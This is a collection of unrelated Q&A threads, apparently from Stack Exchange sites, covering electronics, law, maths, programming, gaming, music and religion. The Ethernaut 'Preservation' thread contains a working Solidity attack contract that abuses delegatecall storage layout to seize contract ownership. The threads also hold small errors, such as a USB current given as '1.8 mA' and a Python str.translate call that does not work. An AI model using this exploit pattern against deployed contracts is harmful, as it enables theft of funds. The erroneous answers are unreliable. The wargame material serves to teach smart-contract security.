Driving constant current LEDs with constant voltage?

Question: I have about 6 pieces of bar leds in different colors (all of them are 12V, but different power 18W, 12W, 9W ...) I need to connect them in parallel by regulating 24V, but the problem is that the LED with the highest current(18W-Red) is the brightest, but the other LEDs(12W-Blue and 9W White) draw less current, so the brightness is lower.Waiting for your suggestions.
Comment: (1) How are you going to regulate the voltages required? (2) What is your specific question (rather than "waiting for your suggestions")?
Comment: A simple but very wasteful way to power from 24V. Treat each module as a single (12V LED) and calculates a series resistor for each module. The resistor will dissipate about the same as its associated module. Unless you use a switching CC regulator for each module all answers will be linear (power inefficient).
Comment: (1) I want to provide regulation with LM2596.
(2) I want all LEDs to illuminate at maximum brightness, but only the red LED (18W) is illuminated at maximum brightness. Other LEDs (blue-white) give very little light.
Answer: I have done this several times with about 60W of LED arrays even different voltages and currents using universal 4pin:barrel adapter 19V Laptop chargers.

The trick is to define the voltage AND current that you want in each string then add LED or power Rs to RED to match current with others, at desired brightness level with applied constant Voltage.  Balance is the key with good thermal design!

Other
I had White, Yellow, Orange, Red  using 1W LEDs for each used on metal clad boards for most, but I wanted light to be dynamically changing from Sunrise to White light brighter than sunlight then dim to Sunset colours Red lower wall, Orange to Bluish black  ceiling.
By knowing the voltage thresholds of each colour string or array xSyP, and effective series resistance at rated current Rs~1/2Pd +/- xx%  I chose how to do this with string voltages at threshold and full brightness and adjusted LED string n*Vt + IRs to get net string  Vf @ If for each. (Vt= threshold)

it worked and my wife was impressed.
the trick to dimming the charger lied in the 4 pin circuit using some 1.25V constant voltage feedback to compare with end of cable voltage to regulate constant voltage with thin cable loss at 4.5A

my solution used a pot, cap resistors and a blue LED as power indicator somewhat like regulating an LM317 except it was a Buck- Boost regulator.
it could be boosted to ~50V with no feedback but I worried about cap ratings, so I used pot plus resistors to tune from 12V to 24V to get the full range of sunrise to sunset.
No photos handy now, but here's another example using 4x1W strings all in parallel ( and well matched by accident and good Cree parts , then AWG 18 Speaker wire to allow for voltage drop from front 200W rectified 12V transformer (Schlumberger) formerly used for front porch 16x8W tungsten wood staircase lamps (replaced by LEDs) to,give 16V DC at source and 12.5V at end of fence on 4S // 8P string 1Wx4 LEDs about 20m away to back yard fence. Luminaries were simply green fence painted Cedar open box  cut, glued and nailed together for no glare results.

My dim level before OFF looked like sunset using ceiling projection with chrome egg-crating painted black to block glare and cast down on a sun shaded by huge tree livingroom rear bay window.
Comment: You've got my snow, you bum. Give it back! We used to have good snow here every year -- often three or four times with one of them at almost a meter depth each year. Silver thaws perhaps every two years. But since 2003 perhaps only twice have I seen a meter. Global warming has also reduced the 11 glaciers on Mt Hood by more than 50% mass-balance in the last 30 years, as well. Cripes, now we actually can grow ***palm trees*** here!! Can you believe it? There's a [business](https://www.palm-scape.com) that specializes in palm trees just walking distance from my home. Geez, I miss the snow.
Comment: @jonk if you like I can bring some snow in a couple weeks as we drive out towards the "right Coast". I get it anytime I need a kiddie pool full of beer and snow.  ( actually from Zambonie machine near skating rink), let me know and I can drive it over there.  My palm tree is struggling.
Comment: TOday is "canada is always great" day


How much resistance do I need to discharge my capacitor without hurting it

Question: I'm building a coil-gun and I just got a 400 V 1.3 mF electrolytic capacitor which will discharge a large current. However, my coil is made of 1 mm^2 copper enamel wire which has an resistance of only 0.6 Ω and I am worried that if I constantly discharge my capacitor with only 0.6 Ω, it will soon break. Should I add a resistor or is it fine?
Comment: What does the datasheet say? If noting useful, what does the manufacturer say?
Comment: What is the inductance of your coil, and what would be the current if you discharge your capacitor into the coil without adding any extra resistance?
Answer: Find out what the maximum peak discharge current is for the specific capacitor you are using and calculate the required resistance to stay below that current using R = V/I.
Answer: A too-fast discharge will indeed damage a capacitor, but a not-fast-enough one will impact your functionality. (I am assuming that you want to have a short but powerful current burst through your coil)
Capacitors, like all components, can not withstand too high current (or discharge rate, both are the same in a capacitor). How high is too high exactly should either be directly referenced in the datasheet, or could be calculated.
Your main worry is that your capacitor has an internal resistance, causing it to heat up when current runs through it. The faster the discharge happens, the hotter it gets, and the less time that heat has to be dissipated.
Given your capacitor value, internal resistance, and coil inductance, you should be able to compute how much heat accumulates in your capacitor per cycle, from there, you can find out if your system is sound, how many cycles you can fire, and how long you should let it cool between cycles.
To minimize that internal resistance, there are two main axis :

Pick a capacitor technology with a low ESR (equivalent serie resistance, most electrolytic capacitors have a relatively high ESR)
Instead of a single capacitor, use an array of capacitors in parralel. that topology puts their ESR in parallel as well, creating less heat, and sharing it between multiple components.


What happens if you don't foreign file your LLC in a state that you're operating in?

Question: If you commit an act or accrue a debt that normally your individual assets would be shielded from having to pay as a member of an LLC, each of the individual members of the LLC are then on the hook for such debt until the debt is paid plus any accrued incidental costs of collection. The LLC is no longer there to shield your personal assets and someone could take your house, your business assets, and private property or individual assets to satisfy the debt.
Answer: united-states
Like all matters governed by state law in the United States, the consequences of not registering as a foreign company in a state where an LLC does business varies from state to state.
In most states, the primary consequences of failing to file are that you are not allowed to file lawsuits or counterclaims in court until you bring your LLC current, and that you are not eligible to licenses in the state. An inability to get a license can be particularly a problem in a licensed industry or occupation, and in situations where there are state withholding taxes that usually require a license to be in full compliance with.
Generally speaking, failure to file a foreign company registration will not cause your company to lose limited liability protection or the right to defend the company against someone else's lawsuit.


What's the input and output specifications of the Samsung Infuse wall charger?

Question: I want to know if it matches with the Samsung Strive charger so I don't damage the Infuse (I don't have the charger for the infuse at the moment).
Answer: If it's a wall charger with plugs that match your outlets, the input range should be covered.
Normal USB chargers are 5 V at up to 1.8 mA.  The voltage is the main concern -- standard USB ports for PCs only go up to 900 mA, which is why they charge slower.  You can see the USB power specs on Wikipedia: http://en.wikipedia.org/wiki/Usb#Power
(In sum, any USB charger that you can trust to do what it says on its specs should work fine.  A crappy no-name charger might lie, but two Samsung chargers should be 100% interchangeable.)
Comment: Ok Cool. Thanks for the answer Matt. I do recall both chargers saying 5v but one is 0.7A and the other is 1.0A. So I guess the 1.0 will charge the battery faster. Is it possible that charging the battery too fast could mess it up (or hurt the phone)?
Comment: @trusktr They phone shouldn't draw more current than it wants, and that's fairly low anyways, so it should be fine.


How to calculate the distance from a point on ellipse arc to the chord

Question: Now I have an ellipse-arc starting at $A$ and ending at $B$, so $AB$ is the chord of the ellipse-arc. I want to know how to calculate the maximum distance from the points on the ellipise-arc to the chord.
Comment: What have you tried so far?
Comment: I have no way! I am looking for some papers or books that can show me something.
Comment: Context and source of problem? What are tools allowed - Euclidean geometry, Calculus or something else?
Comment: And what exactly is given? A chord and equation of arc, or semimajor axes also known?
Comment: I mean the Euclidean geometry. I want a general formula. Suppose the majorAxle, the minorAxle and the center the ellipse arc were known.
Comment: Presumably you also know the locations of A and B
Answer: Not a full answer, but too long to be a comment:
Let $A,B\in\mathbb{R}^2$ be (given) points which lie in the ellipse, and the ellipse to be represented by all points $x\in\mathbb{R}^2$ which comply $x^TMx=1$ for some positive definite matrix $M$. Moreover, the chord from $A$ to $B$ is parametrized by all points $y$ which comply $y=\lambda A + (1-\lambda)B$ with $\lambda\in[0,1]$. Thus, if I understood correctly, you want to solve the optimization program:
$$
\begin{aligned}
D=\max_{x,\lambda}\ &\|x-(\lambda A + (1-\lambda)B)\|\\
s.t.\ \ & x^TMx=1\\
& 0\leq \lambda\leq 1
\end{aligned}
$$
Or equivalently
$$
\begin{aligned}
D=\max_{x,\lambda}\ &(x-(\lambda A + (1-\lambda)B))^T(x-(\lambda A + (1-\lambda)B))\\
s.t.\ \ & x^TMx=1\\
& 0\leq \lambda\leq 1
\end{aligned}
$$
Note that if you ignore the constraint $0\leq \lambda\leq 1$ thus, the solution would be $D=\infty$ since points in the line $\lambda A + (1-\lambda)B$ can go all the way to infinity. So we can't ignore $0\leq \lambda\leq 1$. I'm saying this since if you were interested in the minimum distance instead of the maximum, you could ignore $0\leq \lambda\leq 1$, and thus use Lagrange multipliers to solve the previous problem and maybe find an explicit formula.
Now, in your case, at this point I see no other way but to solve this problem numerically. Due to the geometry of the problem, I think one may be able to show that there is a unique maximizer (but I don't have this clear right now). So using a numerical solver such as $\texttt{fmincon}$ from MATLAB should be able to do the work.
Now, note that my approach could be an overkill. Another contributor, more skilled in geometry than me, may find a clever argument to solve this problem more easily.
Answer: Presumably you know  something about the ellipse, perhaps $\dfrac{x^2}{a^2}+\dfrac{y^2}{b^2}=1$
and presumably you know something about $A$ and $B$, perhaps that they are where $y=mx+c$ intersects the ellipse
Then you can say that the tangents to the ellipse parallel to $AB$ can be expressed as $y = mx \pm \sqrt{a^2m^2+b^2}$
and the maximum distance from the the ellipise-arc to the chord is $\dfrac{|c\mp \sqrt{a^2m^2+b^2}|}{\sqrt{1+m^2}}$
with the $\pm$ and $\mp$ determined by which of the two arcs resulting from the chord you are referring to.
Answer: Let $O$ be the centre of the ellipse, $M$ the midpoint of $AB$ and $P$ the intersection between line $OM$ and arc $AB$. The tangent through $P$ is parallel to $AB$, hence you just need to compute the distance from $P$ to line $AB$.
Comment: Is there a formula for what you said, say, a formula of the sagitta that is derived from the majoraxis, minoraxis and the chord or starting angle /ending angle and the necessary geometric conditions?
Comment: @fosuwxb I'm afraid such a formula  could be quite complicated.


Ethernaut #16 Preservation. Contract loaded from address in Remix fails to fully interact with contract. Strange bug

Question: Ethernaut's Preservation is solved by exploiting that the delegate call to LibraryContract in setFirstTime() and setSecondTime() in fact changes the first variable in Preservation itself (not in LibraryContract), namely timeZone1Library. This can thus be set to a malicious contract which when delegate called through setFirstTime() similarly changes the owner variable.

However, interacting with the contract through Remix fails. I couldn't solve it through Remix alone but also had to call the contract through the console in Ethernaut.

I put the below code in Remix (my Attacker contract appended to the copied code from https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F).
I load a Preservation contract from the instance address provided by Ethernaut.
I then deploy my Attacker through Remix and click/call hack(). This correctly sets timeZone1Library to my Attacker's address, but it fails to set owner. Calling remixTest() —  which calls setFirstTime(0) in Preservation — through Remix again fails to set owner, as well as calling it directly in Remix. But performing the exact same call by typing contract.setFirstTime(0) in the console in Ethernaut does set owner as expected.
Loading a fresh instance of Preservation in Remix, I can call setFirstTime() with an arbitrary input and thus change timeZone1Library. But calling setSecondTime() never works in Remix, but always works in the console.

What is happening here? How can calling setFirstTime(0) work in the console, but not in Remix?
<code>// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner;
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress;
    timeZone2Library = _timeZone2LibraryAddress;
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp
  uint storedTime;

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

contract Attack {
  address public a;
  address public b;
  address public c;
  Preservation target;

  constructor(Preservation _target) public {
    target = _target;
  }

  function setTime(uint _time) public {
    c = tx.origin;
  }

  function hack() public {
    target.setSecondTime(uint(address(this)));
    target.setFirstTime(0);
  }

  function remixTest() public {
    target.setFirstTime(0);
  }
}
</code>
Answer: got the same issue. Try setting an higher max gas in your metamask when sending the second txn. https://forum.openzeppelin.com/t/ethernaut-preservation-lvl-16-different-output-while-using-testnet-and-local-network/8241


What distribution should be used for the detection of out of shelf situations in a retail stores?

Question: I need to detect Out Of Shelf situations in reatil stores. What I had in mind is to assume that purchase frequency of some article (SKU) has certain ditribution (I tried with Poisson) and then calculate probability (according to that distribution) of that specific article was not bought since last purchase, and if that probability is below some treshold (let say 1%) then it is a possible OOS situation.
My question is:
What distributions are commonly used in such problems and is there any way that one can test for several distributions and than pick the best one? Thing is, this should be done automatically due to large number of SKU/store combinations to deal with.
Answer: Poisson makes a certain amount of sense if "purchase frequency" is e.g. number of items bought per day.  Negative binomial would also make sense (probably more sensible, as it will allow for more variation). If you have a huge amount of data, then you could just use the empirical distribution (i.e. across days, what is the empirical frequency of <= this number being bought?)
A couple of things that make sense to consider in this context (don't know how much effort you are going to be putting into this, nor what your statistical background is): (1) it would make sense to fit a mixed model to allow for variation among stores, SKUs, days, etc.; (2) you might want to use more than just zeros -- i.e. if there were really only 2 items there to begin with, then there will only be 2 bought, and you could potentially detect that that outcome was highly unlikely for that particular SKU/store/day combination ... and hence detect the OOS issue before the next day (when there were zero and hence zero bought).
Comment: I planned to estimate lambda for each store/SKU separately.   (1) What did you have in mind regarding mixed models, and what are mixed models :)? I must mention that I'm dealing with very different stores (from 50 sq m to 1500 sq m) with very different turnovers. this is reason why I looked each store separately. (2) I planned to adress this problem with modelling sales per hour. You asked me about my statistical background Well, I have some basic knowledge about mathematical statistics (common distributions, statistical tests, etc..).
Comment: If you've got enough data, then estimating lambda for each store/SKU separately should be OK. Mixed models (multilevel, hierarchical) are models that assume that the lambdas for SKUs are themselves random variables, drawn from a distribution. See e.g. Gelman and Hill (2009? I forget the title etc -- something about multilevel regression modeling)
Comment: Thanks for directions. Just one more thing, does using this mixed models have sense when dealing with high differences between demand, or should one first group stores and then use it on these groups?
Comment: With some programs (such as lme4) you can fit *crossed effects*, i.e. fitting a parameter for each store (deviation from average demand), for each SKU (deviation from average demand), and for each store:SKU combination (deviation from expectation based on store and SKU).
Comment: thx Ben. you have been of great help.. I think that i will post some questions about mixed modelling when i study it a bit :)
Answer: The key idea to detect OOS is that you need the most accurate demand forecast, typically at the SKU level per store and per day. Indeed, the distribution of the demand is not stable over time: you have to take into account many patterns such as

day of the week,
yearly seasonality,
promotions,
...

Then, once you have your high-quality forecasting model, you will typically focus on the distribution of error. It's through the analyse this distribution that you will be able to figure the thresholds for your alerts.
Shameless plug: our product Shelfcheck is precisely designed to detect out-of-shelf in Retail.


What does covariance matrix in probability density function signify

Question: I referred the literature and understood that in the image shown the sigma square multiplied by Identity matrix represents covariance matrix. But in many cases the distribution is given without identity matrix. So what exactly this identity matrix signify in this context. Expecting a small example that will clarify the difference. Thanks in advance....
Comment: This is a standard notation for a [Complex Normal distribution.](https://en.wikipedia.org/wiki/Complex_normal_distribution)
Comment: But i have seen many examples where complex normal distribution is used without identity matrix.
Comment: That's fine--this is a specific case of that.  I can't believe you are trying to ask what the identity matrix is, but I can't fathom what you are looking for in an answer.
Answer: You use an identity matrix multiplied by some number when you want to say the covariance matrix is diagonal and has the same value in every element of the diagonal.
Comment: If i have 5 numbers that follows circularly symmetric complex gaussian distribution, then can you please explain your answer for this 5 numbers. Because this is where i am getting stuck.
Answer: It sounds like maybe you're confused why there's a matrix, rather than a number?
If that's the case, it's just that here you have a multivariate distribution. It is equivalent (in the case where you have a scalar multiple of the identity) to taking each diagonal, and having $N$ $\mathcal{CN}(0,\sigma_0^2)$ distributions.
So if you sampled from the distribution in your original post, you'd get a vector of length $N$, with each element sampled from $\mathcal{CN}(0,\sigma_0^2)$.
This becomes  more useful when your covariance matrix isn't diagonal. In that case, you can't just draw each element separately, as the correlations between different parameters will be non-zero.
The alternative answer, if you're sure your dealing with multivariate distributions in all cases you've seen, is that the authors have just been lazy and neglected to include the identity matrix. In this case, the only assumption you can make is that each parameter has the same variance (which is represented my multiplying it by an identity matrix).
Comment: Ok....understood


Lambda, Closures homework in python

Question: I take a python class. I had many problems to resolve but this two gave me a headache. Any explanation please or some solutions ?
Write a script that retrieves a list of names. For each name:
   - if is longer that 5 chars, remove the consonants
   - if is shorter(or equal) then 5 chars, remove the vowels
   Order the resulting names alphabetically, and then print the concatenated string.
   Hint: Use functions for each action: removing the vowels/consonants(use lambda functions), string concatenation, ordering alphabetically.
         Use global constants.
Create a function that has as argument a number, named start_number.
   Using closures(defining a new function inside the first function), display the next 5 prime numbers, starting with start_number(argument from the enclosing scope).
   Example:
   start_number=11
   Results:  11, 13, 17, 19, 23
Answer: <code>def removeVowels(s):
    return s.translate(None,'aeiouAEIOU')
def removeConsonants(s):
    return s.translate(None,set(string.ascii_letters).difference('aeiouAEIOU'))
</code>
is one way of removing vowels and consonants

Lambda, Closures homework in python


What factors determine enemy levels? How do enemy levels scale to the player character's?

Question: I finished Playthrough 1 at around Level 36. I noticed that the enemies I find are now very easy to kill, meaning they didn't level up (or hit a level cap). I decided to started Playthrough 2 to fight higher level enemies and play the DLCs. I went to Jakobs Cove ('The Zombie Island of Dr. Ned' DLC) and found out that the enemies are at least level 42. I couldn't even get to the first objective without being eaten by zombies.
I noticed a similar thing in Playthrough 1 too: some missions and the enemies I encounter in those missions are of a higher level that what my current level is, making those missions a bit challenging until I level up.
So, for each of the playthrough modes, what factors determine enemy levels?
Specifically, I would like to know:

I've played Borderlands 2 before Borderlands 1. How similar is Borderlands 2's enemy leveling system compared to Borderlands 1?
Are enemy levels affected by what level a character accepted a mission? (Similar to Borderlands 2?)
How does Playthrough 1, 2 and 2.5 affect enemy levels?
Are there fixed enemy levels on specific areas or missions? What are the level requirements for an area or mission for each of the playthrough modes?
Any enemy leveling differences specific to the DLCs areas or missions?
Answer: I don't have Borderlands 2, so I can't compare it. I'll just explain how it works for Borderlands 1.
First of all, in Playthrough 1 and 2, almost everything has a fixed level. Exceptions are DLC2 (Moxxis Underdome), which always scales to your level, and Crawmerax which always has a minimum level.
Things only scale after you've completed Playthrough 2; when you select Playthrough 2 you will get into what's generally called "2.5" -- no new quests or anything, but enemies will always scale.
Quests do not affect enemy levels at all. If (for example) you have accepted a quest to kill "super bad boss" in PLaythrough 2 at level 40, and you don't do it, then get to PT 2.5 and now decide to go there, the "super bad boss" will now be scaled to your level since you're in 2.5. The quest reward given to you, however, will still be at lvl 40.
DLC3 has it's own "PT 2.5" condition -- you have to destroy the Armory on the mission given from Athena (that's the first quest to destroy it, and also makes the end credits roll). Farming the armory is better done with the Marcus missions anyway. Until that, even if your main game is in PT 2.5, DLC3 will still be in PT2.
DLC2 always scales to you, no matter what.
DLC1 and DLC4 scaling follows the main game.
However, the claptrap inventory increases are NOT give if you're in 2.5 (this can be worked around by using a multiplayer game in PT2 to hand them in, or just savefile editing -- Willow Scrubbery in particular is made for such fixes, as it figures out what rewards you SHOULD have automatically).
Comment: Note also that it scales to player one's level too, player 2 (split screen) won't affect it, and I believe online players levels don't count either, just the host's
Comment: Yes. In a multiplayer game, the host player "sets the rules" -- playthrough 1/2/2.5, status of the quests, available Fast Travel locations.


What's the difference between .cmd and .bat files?

Question: Just curious. "Cool" people in our company always use *.cmd while no one was able to explain the difference to me.
Answer: There are semantic differences in the command language used for each (.bat files get a compatibility version).  Some of these can be illustrated by this script from over here:
@echo off&setlocal ENABLEEXTENSIONS
call :func&&echo/I'm a cmd||echo/I'm a bat
goto :EOF

:func
md;2>nul
set var=1

Basically, .cmd files get the current, sexier version of the MS command language, which is why the cool kids use them.
Comment: <3 obfuscated cmd scripts :)
Comment: Yeesh! I stand corrected. I never knew that behaviour of CMD.EXE before.
Answer: Here is a good discussion from Stackoverflow.
Comment: Yes, in particular the answer starting with "Here is a compilation of verified information", http://stackoverflow.com/questions/148968/windows-batch-files-bat-vs-cmd/149918#149918
Answer: According to Wikipedia:
.bat: The first extension used by Microsoft for batch files. This extension can be run in most Microsoft Operating Systems, including MS-DOS and most versions of Microsoft Windows.
.cmd: The newer .cmd extension is described by Windows NT based systems as a 'Windows NT Command Script' and is helpful, as using a .cmd extension rather than .bat extension means that earlier versions of Windows won't know how to run it, so that they don't try to and mistake the commands for COMMAND.COM style files and fail to run the new style commands due to the lack of command extensions, resulting in scripts only being partially run which could prove damaging (for example; failing to check the successful copying of a file and then deleting the original anyway).
The only known difference between .cmd and .bat file processing is that in a .cmd file the ERRORLEVEL variable changes even on a successful command that is affected by Command Extensions (when Command Extensions are enabled), whereas in .bat files the ERRORLEVEL variable changes only upon errors.
Hope this helps.
Answer: In theory .cmd is more "trueЪ" :) because .bat is a script for the old DOS command.com while .cmd is for cmd.exe from Windows NT, the last one has a little more improved scripting. In the real life usually both are equal, like writing /bin/sh or /bin/bash in Linux (mean distros where sh is actually bash)
Answer: I first saw the .cmd format used under OS/2. If you're thinking in DOS terms, it's like a .bat file on steroids. .bat files were introduced first under DOS type OS's. Alot of the syntax is similar except when you begin to get into advanced functions. Also, a .cmd file has the potential to not work in a 16-bit environment (win98) whereas a .bat file will probably work in all environments.


Should the forearm rest on the electric guitar?

Question: if i rest my forearm i cant reach the higher strings but if i elevate it its easier to pick and better control but the problem is that guitar neck moves backward and already tried both sitting positions. How do you guys do it? Ive seen videos from players like john p. And jeff loomis and the guitar stays in place :/
Comment: The picture that I'm getting is that you are squeezing the guitar towards your body with your right (picking-hand) forearm.  This pushes the neck forward, away from your body.  When you try to pull your arm away, the neck swings back closer to your body.  Am I interpreting you correctly?
Comment: yes thats correct and the left hand likes it but when i dont rest , the neck goes back and my left hand doesnt like it anymore. the guitar tends to move or sometimes fall.
Comment: what i meant to say about reaching higher strings, is the picking hand that cant reach it gets stuck
Comment: Which forearm are you asking about, the arm for your fretting hand or your picking hand?
Answer: If you watch Jeff Loomis play when he's sitting down, you'll notice that his right forearm is just lightly resting on the guitar body and moves downward as he picks from lower to higher strings.
If you rest your forearm with a little less pressure, you will be able to let it move down to reach the higher strings but still retain contact thus preventing the problem of the "floating" neck.
Comment: I think "lightly touching" is a better description than "resting on"
Answer: For most electric guitar playing my palm heel is most important - and like Tim, I rest it near the bridge, but typically my rest position is with a very light touch.
When sitting, my forearm does touch the guitar, but even more lightly. When standing it often doesn't touch at all.

This works for all my techniques from arpeggiated picking, sweep picking and alternate picking, and the only times I really move away from this is when thrashing out rhythm chords, where I might just move my arm in all sorts of ways :-)
Answer: Unless you're strumming, the picking hand is best placed so your palm, where it meets your wrist, is just behind the bridge. If you want the sound to be more nasal, move the hand to the right, so the pick is closer to the saddles. If you want to palm-mute, move slightly to the left. To go from bottom to top string, slide the whole hand vertically. Your forearm will probably rest gently on the guitar body, behind the bridge.
Wearing a strap, even when seated, isn't a bad move.


Can women ask for male hoor al ayn?

Question: So i know that men get hoor al ayn in jannah and women don't due to their natural fitra, however if a woman was so desire a male hoor al ayn would it be possible for her since allah is the all-giver?
Answer: Allah will reduce her wish to get male Hoor type someone. But there is no Authentic or even weak source of Hadith/Quran to confirm that a Muslim woman will get another Husband. No proof of that.
But rather it is mentioned in Hadith that if a woman has multiple husbands in this World(by marrying another man after one husband's Death), she will get only her Last husband or the Husband whose behavior was the best. Even if her husbands continue to die and she remarries again and again, even if she has 10 Husbands in this way in 10 different times on Earth, she will get only 1 Husband in Jannah.

Can women ask for male hoor al ayn?


Why do layout params work in Android Programming?

Question: First off my background: I'm new to Java coming over from Ruby. If that helps.
I'm confused about how layout params work.  I'm following a basic Hello World introduction to creating an Android App.  Step 1, extend the Activity class, and the onCreate() method to access the XML layout.  Ok I get that.
Then I create a layout (say a RelativeLayout) in the Main.XML.  So this is making use of the RelativeLayout class which extends the ViewGroup class, ok so far.  Then lets say I create a button inside this.  This is where my question starts.  If I look at the example I am following I see attributes being assigned to the button that belong to the RelativeLayout class (i.e: android:layout_alignParentRight="true").  These seem to be the layout params.  But why does this work?  The button class seems to inherit from the View class.  Why can a button object accept attributes for the RelativeLayout object?  Maybe my Ruby programming is confusing me..
Thanks!
Update: For posterity sake: thank you to Slothsberry for pointing out the XML Layouts link, which seems to describe the answer clearly in 2 sections the section on "Attributes" and on "Layout Paramters".  The attributes section reads:

Every View and ViewGroup object supports their own variety of XML
  attributes. Some attributes are specific to a View object (for
  example, TextView supports the textSize attribute), but these
  attributes are also inherited by any View objects that may extend this
  class. Some are common to all View objects, because they are inherited
  from the root View class (like the id attribute). And, other
  attributes are considered "layout parameters," which are attributes
  that describe certain layout orientations of the View object, as
  defined by that object's parent ViewGroup object.

The layout parameters section though is perhaps the section that really answers this question.  Where it states:

Every ViewGroup class implements a nested class that extends
  ViewGroup.LayoutParams. This subclass contains property types that
  define the size and position for each child view, as appropriate for
  the view group. As you can see in figure 1, the parent view group
  defines layout parameters for each child view (including the child
  view group).

They give a nice diagram as well.  It seems that a beginning programmer needs to recognize that while Java classes are referenced, the XML acts more like a CSS sheet and that attributes are first computed in a nested fashion before being computed and carried over to their Java class counterparts.  That's my current understanding anyways :)
Comment: No, you're right to think this is weird. I've been programming in java for over 5 year, and this is something that when I first saw it made no sense to me. I'm still not sure why it works like this. Hopefully we'll get an answer.
Comment: https://developer.android.com/reference/android/view/View.html#Layout
Answer: Layout parameters do not strictly mirror object inheritence (as you have noticed).  The reason is that there are two parts of layout: configuring a view, and parametrizing a view's parent using that view as an argument.
So parameters like android:layout_below will be ignored if the parent layout is not a RelativeLayout. It might make sense from an OOP perspective to put that parameter in the RelativeLayout object. But that is how you would do it in the java code.
In the XML code, it takes the approach that the information about the child is contained in the child. layout parameters that require a parent that is not present will be ignored when the layout is inflated. Its a nice system android uses to make the XML more readable and portable. And it is not strictly referring to the class package structure, but rather the intuitive way humans think about placing things in a layout.
Comment: Understanding layout 'inflation' seems to be a key to understanding as well.. some more reading I found based on your answer: http://www.androidguys.com/2008/07/09/inflation-is-a-good-thing/
Comment: Thank you, you clearly understood my mis-understanding and gave a great answer.  I've added notes in my question for posterity sake based some further readings.  Appreciate it.
Comment: I believe that the layout properties themselves are inherited in a strict manner, similar to class inheritance. However, what Android does with them seems to vary, depending on (at least) the parent element. In general, since you build layouts from the root downward (unless you're reusing includes, which have their own properties already set), you can just ignore the inappropriate properties for your elements. I hadn't even noticed that layout_below was available all the time, since I never looked at it unless I was in a RelativeLayout
Answer: All layout elements in android inherit from View, although many indirectly.
The generic View class has properties (attributes) appropriate for ANY visible layout element. for the root layout, some properties such as Layout Gravity, Layout dimensions, etc. are set by the system (in most cases I believe).
If my root layout is some linear layout, Android will allow me to have a relative layout be a child in the root. Android will let me set various layout properties on the nested element, in order to control how it renders. This works the same for Button, and any other Android layout.
If you don't care about a particular property, don't set it. They are present to allow you control over the screens of your app. Look into XML Layouts or Hello Views to get you started on the details.
Comment: Thank you for adding to the discussion.  While I couldn't quite grok the issue from your answer your link to XML Layouts gave me what I needed. I've updated my question above to include what how I've resolved my understanding.  You can let me know if that seems right. :)
Answer: you are a little bit confused, that layout param doesn't own a particular XML object . If you put it in one child XML XXXView or XXXLAyout , it will understand that its Right side must be in the same place than parent right.
Then if you don't create the layout params for that child , the child would try to inherit ones of its parent's.
Comment: Thanks for the response.  Perhaps you can help me understand from a Android/Java perspective.  Objects in Android have attributes, yes?  I'd assume that all attributes have an owning object, yes?  When I create a button tag you are saying that not all attributes defined within the button tag belong to the button object.  Is that correct?
Comment: it depends in the place you put it . You must think that the object itself must be in another container . Then you are obey to tell the object the relative position to his parent. Of course we are only talking about relative layout . It isn't so different from CSS programming. Furthermore , exist also another XML tags which tells the child how to order into the parent . The system is flexible for that things.
Answer: Layout
Layout is a two pass process: a measure pass and a layout pass. The measuring pass is implemented in measure(int, int) and is a top-down traversal of the view tree. Each view pushes dimension specifications down the tree during the recursion. At the end of the measure pass, every view has stored its measurements. The second pass happens in layout(int, int, int, int) and is also top-down. During this pass each parent is responsible for positioning all of its children using the sizes computed in the measure pass.
When a view's measure() method returns, its getMeasuredWidth() and getMeasuredHeight() values must be set, along with those for all of that view's descendants. A view's measured width and measured height values must respect the constraints imposed by the view's parents. This guarantees that at the end of the measure pass, all parents accept all of their children's measurements. A parent view may call measure() more than once on its children. For example, the parent may measure each child once with unspecified dimensions to find out how big they want to be, then call measure() on them again with actual numbers if the sum of all the children's unconstrained sizes is too big or too small.
The measure pass uses two classes to communicate dimensions. The View.MeasureSpec class is used by views to tell their parents how they want to be measured and positioned. The base LayoutParams class just describes how big the view wants to be for both width and height. For each dimension, it can specify one of:

an exact number
MATCH_PARENT, which means the view wants to be as big as its parent
(minus padding)
WRAP_CONTENT, which means that the view wants to be just big enough
to enclose its content (plus padding).

There are subclasses of LayoutParams for different subclasses of ViewGroup. For example, AbsoluteLayout has its own subclass of LayoutParams which adds an X and Y value.
MeasureSpecs are used to push requirements down the tree from parent to child. A MeasureSpec can be in one of three modes:

UNSPECIFIED: This is used by a parent to determine the desired
dimension of a child view. For example, a LinearLayout may call
measure() on its child with the height set to UNSPECIFIED and a width
of EXACTLY 240 to find out how tall the child view wants to be given
a width of 240 pixels.
EXACTLY: This is used by the parent to impose an exact size on the
child. The child must use this size, and guarantee that all of its
descendants will fit within this size.
AT_MOST: This is used by the parent to impose a maximum size on the
child. The child must guarantee that it and all of its descendants
will fit within this size.

To initiate a layout, call requestLayout(). This method is typically called by a view on itself when it believes that is can no longer fit within its current bounds.


The website tomahawk-player.org maybe has an expired certificate. Should I ignore that?

Question: I have an iMac running High Sierra 10.13.6. I wanted to download the Tomahawk music player from the developer site at www.tomahawk-player.org. Safari tells me the connection is not private. It appears their certificate expired 99 days ago. This seems like a long time for that to go on without the owners of the website upgrading their certificate. I just want to know if I should ignore this warning. I'm very hesitant to go there.
Comment: Doesn't give the greatest confidence if the site holders haven't even noticed after 3 months. I'd avoid.
Answer: According to sources that project has been "essentially abandoned" (nobody is working on it)
So, even if you download it, you are on your own with any problems that might occur.
As for accessing websites with expired certificate, you have been warned not to proceed, but you can at your own risk, witch could be major or minimal.
If you wish to proceed you can download the player from here
Just tried that and it Opens fine on HighSierra
Comment: I thought Tomahawk was the "latest and greatest". If the project has been abandoned I think I'll stay away. Thanks for the info.
Comment: @jmh not necessarily, The current version works. Once it stops working you can trow it away. You know the .org and free means someone has to pay for it, so they might just lost the sponsor.


